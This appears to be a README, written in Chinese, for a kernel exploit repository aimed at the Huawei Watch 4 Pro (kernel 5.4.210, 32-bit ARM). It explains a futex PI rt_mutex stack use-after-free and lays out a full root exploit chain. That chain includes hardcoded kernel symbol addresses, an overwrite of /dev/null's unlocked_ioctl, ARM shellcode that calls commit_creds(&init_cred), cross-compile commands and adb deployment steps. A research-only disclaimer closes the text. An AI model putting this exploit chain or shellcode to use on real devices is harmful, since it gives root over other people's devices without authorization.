针对 Huawei Watch 4 Pro (MDS-AL00)、Snapdragon SW5100、armv7l、内核 5.4.210 的 Linux 内核 futex PI rt_mutex 释放后使用(Use-After-Free)漏洞研究与漏洞利用开发。
kernel/locking/rt_mutex.c 中的 remove_waiter() 在代理锁回滚期间错误地使用了 current 而非 waiter->task,未能清除等待者任务上的 pi_blocked_on。这导致在等待者的内核栈帧被释放后,task_struct 中留下一个指向栈上分配的 rt_mutex_waiter 的悬空指针——典型的栈释放后使用(Use-After-Free)。
futex(FUTEX_CMP_REQUEUE_PI) 触发 EDEADLK 回滚;等待者的 pi_blocked_on 指向已释放的栈。prctl(PR_SET_NAME)(选项 15,非特权)将 15 字节的受控数据复制到内核栈上,覆盖伪造等待者的 task/lock/prio 字段。sched_setattr() 触发 PI 链遍历;伪造的等待者被入队到一个与内核 file_operations 结构体重叠的伪造 rt_mutex 中。红黑树插入将等待者的内核栈地址写入 fops->unlocked_ioctl。ioctl(),该调用通过被覆盖的 unlocked_ioctl 指针分派到可执行内核栈上的 shellcode。commit_creds(waiter),其中等待者的前几个字段(由 rb_insert_color 设置)构成一个伪造的 struct cred,其 uid/gid = 0。fops->unlocked_ioctl)ioctl(null_fd, IOCTL_CMD, 0) 分派到 shellcode -> commit_creds(&init_cred) -> root shell)| 属性 | 值 |
|---|---|
| 设备 | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| 内核 | 5.4.210 (32 位 ARM) |
| KASLR | 已禁用 |
| PAN/SMAP | 不存在 |
| PXN | 在 0xc1b00000+ 处不存在(栈/BSS 可执行) |
| CFI/PAC | 不存在 |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
使用交叉编译 GCC 或 Zig:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
位置无关的 ARM shellcode,写入位置为 waiter+0x18:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg) 分发到 f_op->unlocked_ioctl(filp, cmd, arg) 时,寄存器 r1 包含 cmd 参数。cmd = 0x01B17E60,sub r0, r1, #0x40000000(编码为 0xe2410101,零空字节)计算出 r0 = 0xc1b17e60(&init_cred)。commit_creds(&init_cred) 安装具有完整能力和干净 SELinux 安全上下文的 root 凭据,并干净地返回到 do_vfs_ioctl(lr = 0xc031c8c0)。此厂商内核的 struct file_operations 在偏移 +0x24 处(poll 和 unlocked_ioctl 之间)有一个额外的 4 字节字段,使所有后续成员相对于标准 Linux 5.4 偏移 4 字节:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
这一点已通过反汇编 ashmem 和 null fops 处理程序得到验证。
本仓库仅用于安全研究和教育目的。请勿在您不拥有或未获授权测试的设备上使用这些技术。